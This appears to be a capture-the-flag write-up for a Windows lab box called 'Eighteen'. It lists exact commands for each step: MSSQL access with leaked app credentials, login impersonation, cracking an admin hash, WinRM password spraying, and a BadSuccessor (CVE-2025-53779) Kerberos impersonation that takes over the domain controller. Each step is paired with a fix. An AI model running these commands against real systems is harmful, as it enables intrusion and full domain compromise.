Eighteen
Summary
I mapped an IIS web server hosting a Flask-based financial planning application alongside an exposed Microsoft SQL Server 2022 instance. Database credentials embedded in the application were used to authenticate directly to SQL Server as a local login; an impersonation right on that login allowed escalation to a second database account, from which the application user table was extracted.
The admin password hash was cracked offline against a common wordlist in minutes, and the recovered password [REDACTED: recovered credential] was sprayed across enumerated domain usernames over WinRM, matching the domain account adam.scott and producing a Pwn3d administrator-equivalent shell on domain controller DC01. From that foothold I discovered a delegated Managed Service Account object in Active Directory and exploited CVE-2025-53779 (BadSuccessor) to impersonate a privileged domain identity, achieving SYSTEM-level control of the domain controller.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 53,80,88,135,139,389,443,445,464,593,636,1433,3268,3269,5985 $TARGETecho "$TARGET eighteen.htb" | sudo tee -a /etc/hostsffuf -u http://$TARGET/FUZZ -H 'Host: eighteen.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -fs 207Exact commands 2
nxc mssql $TARGET -u kevin -p "$PASSWORD" --local-authimpacket-mssqlclient "kevin:$PASSWORD@$TARGET"FixRemove database credentials from web application configurationCritical
Exact commands 3
SELECT p.permission_name, g.name AS grantee, t.name AS target_login FROM sys.server_permissions p JOIN sys.server_principals g ON p.grantee_principal_id = g.principal_id JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.type = 'IM';EXECUTE AS LOGIN = 'appdev'; SELECT SYSTEM_USER;USE financial_planner;FixRevoke unnecessary SQL login impersonation rightsHigh
Exact commands 2
SELECT id, username, email, password_hash, is_admin FROM users ORDER BY id;hashcat -m 30120 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt --showFixEnforce strong passwords for all application accounts and increase hash work-factorHigh
Exact commands 3
printf '%s\n' jamie.dunn jane.smith alice.jones adam.scott bob.brown carol.white dave.green mssqlsvc > /tmp/users.txt && nxc winrm $TARGET -d eighteen.htb -u /tmp/users.txt -p '$PASSWORD2' --continue-on-success 2>&1 | tee /tmp/winrm_spray.logevil-winrm -i $TARGET -u adam.scott -p '$PASSWORD2' -d eighteen.htbtype C:\Users\adam.scott\Desktop\user.txtFixProhibit password reuse between application accounts and Active Directory accountsCritical
Exact commands 2
Get-ADObject -Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'} -Properties * | Select-Object Name,SamAccountName,DistinguishedName,EnabledGet-ADObject -Identity 'CN=dmsa022005,OU=Staff,DC=eighteen,DC=htb' -Properties * | Format-ListExact commands 6
getTGT.py 'eighteen.htb/adam.scott:$PASSWORD2' -dc-ip $TARGETexport KRB5CCNAME=adam.scott.ccachegetST.py -k -no-pass -impersonate Administrator -self -dmsa 'dmsa022005$' -dc-ip $TARGET 'eighteen.htb/adam.scott'export KRB5CCNAME='Administrator@eighteen.htb.ccache'evil-winrm -i $TARGET -r eighteen.htbtype C:\Users\Administrator\Desktop\root.txtFixPatch CVE-2025-53779 (BadSuccessor) and restrict write access to delegated MSA objectsCritical
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 1433/tcp | ms-sql-s |
| 5985/tcp | wsman |